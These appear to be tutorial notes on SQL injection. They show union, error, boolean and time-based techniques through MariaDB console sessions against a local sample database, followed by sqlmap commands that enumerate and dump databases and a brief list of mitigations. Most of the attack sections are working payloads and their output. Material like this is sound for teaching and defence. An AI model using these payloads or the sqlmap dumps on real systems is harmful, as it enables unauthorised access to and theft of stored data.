SQL Injection

Description

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

Resources

NetSPI SQL Injection Wikinetspi

SQL injection cheat sheet | Web Security AcademyWebSecAcademy

****

Explanations

What is SQL injection? SQL injection is an attack in which malicious SQL statements are injected into a SQL database. SQL injection is easy to avoid, but still happens often! If successful, we can read sensitive databases, extract information, modify databases, and potentially even get a shell.

Common SQL Verbs SQL statements begin with verbs. Let's take a look at a few common verbs: → SELECT - Retrieves data from table → INSERT - Adds data to a table → DELETE - Removes data from a data → UPDATE - Modifies data in a table → DROP - Delete a table (dangerous !) → UNION - Combines data from multiple queries → WHERE - Filters records based on specific condition → AND/OR/NOT - Filter records based on multiple conditions → ORDER BY - Sorts records in ascending/descending order

Examples Users is the table.

SELECT * FROM USERS; will display the whole table SELECT UserID, UserName FROM Users; will display all the column UserID and UserName SELECT * FROM Users WHERE Country='RU'; will display the entire line Natasha (blackwidow) SELECT * FROM Users WHERE Country='US' AND UserName='Frank'; will display the entire line Frank (punisher)

Special Characters ' and " are string delimiters -- /* # and -- - are comment delimiters * and % are wildcards ; ends sql statement = + > < () follow programmic logic

SQL Basics

MariaDB [(none)]> create database login; -- create database

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| login              |
| mysql              |
| performance_schema |
| toto               |
+--------------------+

MariaDB [(none)]> drop database toto; -- delete database toto

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| login              |
| mysql              |
| performance_schema |
+--------------------+

MariaDB [(none)]> use login; -- change database 

MariaDB [login]> create table users(name varchar(100));
-- create table users with one column named "name" of type varchar and it can contains 100 caracters

MariaDB [login]> show tables;
+-----------------+
| Tables_in_login |
+-----------------+
| users           |
+-----------------+

MariaDB [login]> insert into users values("bob");


MariaDB [login]> select * from users;
+------+
| name |
+------+
| bob  |
+------+

MariaDB [login]> drop table users; -- delete table users
MariaDB [login]> drop databse login; -- delete database login

MariaDB [(none)]> select version();
MariaDB [(none)]> select database();

Types of SQLI

UNION - Data Based

Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns).

select * from users;
-- users table is like this

+-----+------+-------------+
| id  | name | password    |
+-----+------+-------------+
| 100 | bob  | password123 |
+-----+------+-------------+

select * from users union select 1,2,3;
-- if you union select the right number of columns this occurs -- else this raise an error
-- better to user select null,null,null first
-- then guess the data type of columns thanks to select 'a', null, null for example 
+-----+------+-------------+
| id  | name | password    |
+-----+------+-------------+
| 100 | bob  | password123 |
|   1 | 2    | 3           |
+-----+------+-------------+

select * from users union select database(),user(),version();
-- instead of numbers it's possible to display database name, user and DB version
-- here we now know that login is the database name, root is the user and DB is version 10.3.27

+-------+----------------+---------------------------+
| id    | name           | password                  |
+-------+----------------+---------------------------+
| 100   | bob            | password123               |
| login | root@localhost | 10.3.27-MariaDB-0+deb10u1 |
+-------+----------------+---------------------------+

MariaDB [login]> select * from users order by 10;
-- order by allow us to find quickly the right number of columns, after that we can use select
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

-- if 10 (in this case) is too much it will raise an error 
-- else if the number is less or equal it will display

MariaDB [login]> select * from users order by 2; -- same for 3

+-----+------+-------------+
| id  | name | password    |
+-----+------+-------------+
| 100 | bob  | password123 |
+-----+------+-------------+ 

MariaDB [login]> select schema_name from information_schema.schemata;
-- we can try to find others database to gather more informations
-- it can be done using the database information_schema, the table schemata and the column schema_name
-- the entries of schema_name contains the names of databases

+---------------------+
| schema_name         |
+---------------------+
| information_schema  |
| login               |
| mysql               |
| performance_schema  |
| superSecureDatabase |
+---------------------+

MariaDB [login]> select table_name from information_schema.tables where table_schema="login";
-- we can try to find tables of a database to gather more informations
-- it can be done using the database information_schema, the table "tables", the column table_name and the filter "login" which is the target database 

+------------+
| table_name |
+------------+
| OtherTable |
| users      |
+------------+

MariaDB [login]> select column_name from information_schema.columns where table_schema="login";
+-------------+
| column_name |
+-------------+
| id          |
| name        |
| password    |
+-------------+

MariaDB [login]> select group_concat(table_name) from information_schema.tables where table_schema="login";
-- use group_concat() function to group the result on a website

+--------------------------+
| group_concat(table_name) |
+--------------------------+
| OtherTable,users         |
+--------------------------+

----------------------------------------------------------------------
----------------------------------------------------------------------

Steps using UNION :

1/ Detect SQLI entry point - Use intruder list or tool you want

2/ Detect the number of columns using "order by <..10..>" or "select 1,2,3..."

3/ Information gathering

MariaDB [login]> select * from users union select 1,2,schema_name from information_schema.schemata;

+-----+------+---------------------+
| id  | name | password            |
+-----+------+---------------------+
| 100 | bob  | password123         |
|   1 | 2    | information_schema  |
|   1 | 2    | login               |
|   1 | 2    | mysql               |
|   1 | 2    | performance_schema  |
|   1 | 2    | superSecureDatabase |
+-----+------+---------------------+

MariaDB [login]> select * from users union select 1,2,table_name from information_schema.tables where table_schema="superSecureDatabase";
+-----+------+-------------+
| id  | name | password    |
+-----+------+-------------+
| 100 | bob  | password123 |
|   1 | 2    | adminTable  |
+-----+------+-------------+

MariaDB [login]> select * from users union select 1,2,column_name from information_schema.columns where table_schema="superSecureDatabase";
+-----+------+-------------+
| id  | name | password    |
+-----+------+-------------+
| 100 | bob  | password123 |
|   1 | 2    | id          |
|   1 | 2    | pseudo      |
|   1 | 2    | pass        |
+-----+------+-------------+

4/ Hack your way

MariaDB [login]> select * from users union select 1,pseudo,pass from superSecureDatabase.adminTable;
+-----+-------+--------------+
| id  | name  | password     |
+-----+-------+--------------+
| 100 | bob   | password123  |
|   1 | admin | adminPass123 |
+-----+-------+--------------+

ERRORS - Error Based

Error based injections are exploited through triggering errors in the database when invalid inputs are passed to it. The error messages can be used to return the full query results, or gain information on how to restructure the query for further exploitation.

MariaDB [login]> show tables;
-- The database login is like this and contains two tables

+-----------------+
| Tables_in_login |
+-----------------+
| OtherTable      |
| users           |
+-----------------+

MariaDB [login]> select * from users;
-- The table user have 3 entries and 3 rows

+-----+-------+-------------+
| id  | name  | password    |
+-----+-------+-------------+
| 100 | bob   | password123 |
| 101 | alice | superpass   |
| 102 | john  | doedoedoe   |
+-----+-------+-------------+

Steps using ERRORS :

1/ Associate a random pattern thanks to the rand function

MariaDB [login]> select name,rand() from users;
--As it's name suggest the rand function give a random number, random each time the command is send
+-------+---------------------+
| name  | rand()              |
+-------+---------------------+
| bob   | 0.19417280349337757 |
| alice |  0.8318390053062131 |
| john  |  0.5766766467845781 |
+-------+---------------------+

MariaDB [login]> select name,rand() from users;
+-------+---------------------+
| name  | rand()              |
+-------+---------------------+
| bob   |  0.4584771110289517 |
| alice | 0.10528001292169095 |
| john  | 0.15096876225524467 |
+-------+---------------------+

2/ Control the output of the random function
--To do this we can add a seed value such as 0. If seed is specified, it returns a repeatable sequence of random numbers.

MariaDB [login]> select name,rand(0) from users;
+-------+---------------------+
| name  | rand(0)             |
+-------+---------------------+
| bob   | 0.15522042769493574 |    <--- same values
| alice |   0.620881741513388 |
| john  |  0.6387474552157777 |
+-------+---------------------+
3 rows in set (0.002 sec)

MariaDB [login]> select name,rand(0) from users;
+-------+---------------------+
| name  | rand(0)             |
+-------+---------------------+
| bob   | 0.15522042769493574 |    <--- same values
| alice |   0.620881741513388 |
| john  |  0.6387474552157777 |
+-------+---------------------+

3/ Create a duplicate entry thanks to the round function

MariaDB [login]> select name,rand(0),round(rand(0)) from users;
-- Round function will round the values to the closest zero or one
-- We get our duplicate entry like this, here alice and john

+-------+---------------------+----------------+
| name  | rand(0)             | round(rand(0)) |
+-------+---------------------+----------------+
| bob   | 0.15522042769493574 |              0 |
| alice |   0.620881741513388 |              1 |
| john  |  0.6387474552157777 |              1 |
+-------+---------------------+----------------+

4/ Use group by

MariaDB [login]> select name from users group by round(rand(0));
-- Alice and John are grouped together because round(rand(0)) = 1 for both
+-------+
| name  |
+-------+
| bob   |
| alice |
+-------+

5/ Use having min(0) or count(*) to generate the error

-- having min(0) can be used if you control the WHERE part of the query
MariaDB [login]> select name from users group by round(rand(0)) having min(0);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

-- count can be used if you control the SELECT FROM part of the query
MariaDB [login]> select name,count(*) from users group by round(rand(0));
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

6/ Examples:

-- For this bug we need at least 3 entries so we can use 1=1 in this kind of classical example

MariaDB [login]> select name from users where name="bob" or 1=1;
+-------+
| name  |
+-------+
| bob   |
| alice |
| john  |
+-------+

-- This is the final input we want
MariaDB [login]> select name from users where name="bob" or 1=1 group by round(rand(0)) having min(0);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

7/ Extract data :D

MariaDB [login]> select name, round(rand(0)), concat(version(), round(rand(0))) from users;
+-------+----------------+-----------------------------------+
| name  | round(rand(0)) | concat(version(), round(rand(0))) |
+-------+----------------+-----------------------------------+
| bob   |              0 | 10.3.27-MariaDB-0+deb10u10        |
| alice |              1 | 10.3.27-MariaDB-0+deb10u11        |
| john  |              1 | 10.3.27-MariaDB-0+deb10u11        |
+-------+----------------+-----------------------------------+

MariaDB [login]> select name, concat(version(), " ", database(), " ", user(), round(rand(0))) from users;
+-------+-----------------------------------------------------------------+
| name  | concat(version(), " ", database(), " ", user(), round(rand(0))) |
+-------+-----------------------------------------------------------------+
| bob   | 10.3.27-MariaDB-0+deb10u1 login root@localhost0                 |
| alice | 10.3.27-MariaDB-0+deb10u1 login root@localhost1                 |
| john  | 10.3.27-MariaDB-0+deb10u1 login root@localhost1                 |
+-------+-----------------------------------------------------------------+

TRUE/FALSE - Boolean Based

Boolean-based SQL injection is a technique which relies on sending an SQL query to the database. This injection technique forces the application to return a different result, depending on the query. Depending on the boolean result (TRUE or FALSE), the content within the HTTP response will change, or remain the same. The result allows an attacker to judge whether the payload used returns true or false, even though no data from the database are recovered.

MariaDB [login]> select * from users where id=100;
-- a classic request is like that, we know this condition is TRUE
+-----+------+-------------+
| id  | name | password    |
+-----+------+-------------+
| 100 | bob  | password123 |
+-----+------+-------------+

MariaDB [login]> select * from users where id=100 and database()="login";
-- so we can test for the database name for example thanks to the AND condition
-- if the database is named login, then there is a display
+-----+------+-------------+
| id  | name | password    |
+-----+------+-------------+
| 100 | bob  | password123 |
+-----+------+-------------+

MariaDB [login]> select * from users where id=100 and database()="toto";
-- otherwise there is no display
Empty set (0.000 sec)



MariaDB [login]> select * from users where id=654;
-- a classic request is like that, here we know this condition is FALSE
Empty set (0.000 sec)

MariaDB [login]> select * from users where id=654 OR database()="login";
-- so we can test for the database name for example thanks to the OR condition
-- if the database is named login, then there is a display
+-----+-------+-------------+
| id  | name  | password    |
+-----+-------+-------------+
| 100 | bob   | password123 |
| 101 | alice | superpass   |
| 102 | john  | doedoedoe   |
+-----+-------+-------------+


MariaDB [login]> select * from users where id=654 OR length(database())="1";
-- To recover the database name, we can use the length function
-- Here the condition is false
Empty set (0.002 sec)

MariaDB [login]> select * from users where id=654 OR length(database())="5";
-- Here the condition is true, the database (named login) is 5 characters length
+-----+-------+-------------+
| id  | name  | password    |
+-----+-------+-------------+
| 100 | bob   | password123 |
| 101 | alice | superpass   |
| 102 | john  | doedoedoe   |
+-----+-------+-------------+

MariaDB [login]> select * from users where id=654 OR substring(database(),1,1)="a";
-- Now to recover the database name, we can use the substring function
-- first int in the function substring is where to start, here the first character
-- second int in the function substring is how many chars you want to test, here one character
-- Here the condition is false, the first letter is not a
Empty set (0.001 sec)

MariaDB [login]> select * from users where id=654 OR substring(database(),1,1)="l";
-- Here the condition is true, the first letter is l !!!
+-----+-------+-------------+
| id  | name  | password    |
+-----+-------+-------------+
| 100 | bob   | password123 |
| 101 | alice | superpass   |
| 102 | john  | doedoedoe   |
+-----+-------+-------------+

MariaDB [login]> select * from users where id=654 OR substring(database(),2,1)="o";
-- Here the condition is true, the second letter is o !!!
+-----+-------+-------------+
| id  | name  | password    |
+-----+-------+-------------+
| 100 | bob   | password123 |
| 101 | alice | superpass   |
| 102 | john  | doedoedoe   |
+-----+-------+-------------+

-- ...Then automate the process thanks to a script...

MariaDB [login]> select * from users where id=654 OR substring(database(),5,1)="a";
-- We know the length is 5 characters 
Empty set (0.000 sec)

MariaDB [login]> select * from users where id=654 OR substring(database(),5,1)="n";
-- We know the length is 5 characters, database name is recovered : login
+-----+-------+-------------+
| id  | name  | password    |
+-----+-------+-------------+
| 100 | bob   | password123 |
| 101 | alice | superpass   |
| 102 | john  | doedoedoe   |
+-----+-------+-------------+

-- We can also try to guess the database name or use a word list of common names for database

MariaDB [login]> select * from users where id=654 OR substring(database(),1,5)="logon";
-- FALSE
Empty set (0.000 sec)

MariaDB [login]> select * from users where id=654 OR substring(database(),1,5)="login";
-- TRUE 
+-----+-------+-------------+
| id  | name  | password    |
+-----+-------+-------------+
| 100 | bob   | password123 |
| 101 | alice | superpass   |
| 102 | john  | doedoedoe   |
+-----+-------+-------------+

MariaDB [login]> select * from users where id=654 OR database() like "%log%";
-- Good to know we can also use % wildcard before and after to check if the name contains a string
+-----+-------+-------------+
| id  | name  | password    |
+-----+-------+-------------+
| 100 | bob   | password123 |
| 101 | alice | superpass   |
| 102 | john  | doedoedoe   |
+-----+-------+-------------+

MariaDB [login]> select * from users where id=654 OR database() like "%log";
-- Here we verify the database don't end with log because all chars are accepted before log.
Empty set (0.001 sec)

MariaDB [login]> select * from users where id=654 OR database() like "log__";
-- Good to know we can also use underscore to check if the name contains a string
+-----+-------+-------------+
+-----+-------+-------------+
| id  | name  | password    |
+-----+-------+-------------+
| 100 | bob   | password123 |
| 101 | alice | superpass   |
| 102 | john  | doedoedoe   |
+-----+-------+-------------+

TIME - Time Based

Time-based techniques are often used to achieve tests when there is no other way to retrieve information from the database server. This kind of attack injects a SQL segment which contains specific DBMS function or heavy query that generates a time delay. Depending on the time it takes to get the server response, it is possible to deduct some information. As you can guess, this type of inference approach is particularly useful for blind and deep blind SQL injection attacks.

MariaDB [login]> select * from users if(cond,true,false);
-- the syntax for mysql time based is like that

MariaDB [login]> select * from users where name="bob" and if(database()="login",sleep(2),sleep(5));
-- condition is true, we wait 2 seconds
Empty set (2.001 sec)

MariaDB [login]> select * from users where name="bob" and if(database()="toto",sleep(2),sleep(5));
-- condition is false, we wait 5 seconds
Empty set (5.001 sec)

MariaDB [login]> select * from users where name="bob" and if(length(database())="2",sleep(2),sleep(5));
-- we can use different patterns like length to guess the length of the name
-- here the length is not 2, we  wait 5 seconds
Empty set (5.001 sec)

MariaDB [login]> select * from users where name="bob" and if(length(database())>"3",sleep(2),sleep(5));
-- if length is greater than 3, we wait 2 seconds because the condition is true
Empty set (2.002 sec)

MariaDB [login]> select * from users where name="bob" and if(length(database())="5",sleep(2),sleep(5));
-- the length of the database name is 5, we wait 2 seconds
Empty set (2.001 sec)

--then like the boolean based, you can use the substring function to guess the name of the database

Second order SQLI

In second-order SQL injection (also known as stored SQL injection), the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability arises at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into an SQL query in an unsafe way.

image from https://portswigger.net/web-security/sql-injection

SQL MAP

sqlmap -hh
sqlmap -u http://... --level=5 --risk=3 #dangerous in real cases
sqlmap -u http://... --data # to specify payload positions

#in burp you can intercept a request , place an "*" in position you want to test
#example username=*&password=*
#then save the request in a file

sqlmap -r request.txt

sqlmap -r request.txt --dbs
sqlmap -r request.txt -D databaseName --tables
sqlmap -r request.txt -D databaseName -T users --columns
sqlmap -r request.txt -D databaseName -T users -C id --dump
sqlmap -r request.txt -D databaseName -T users --dump

# to test injection in cookies, use at least level 3 
sqlmap -u http://... --cookies="track=123456" -p "track" --level=3

Mitigations

• Secure code

  1. Input validation

  2. Parametrized queries

  3. Stored procédures

  4. Escaping

• Host Based WAF (example Wordfence for WordPress)

• Edge Sided WAF (example Cloudflare Firewall)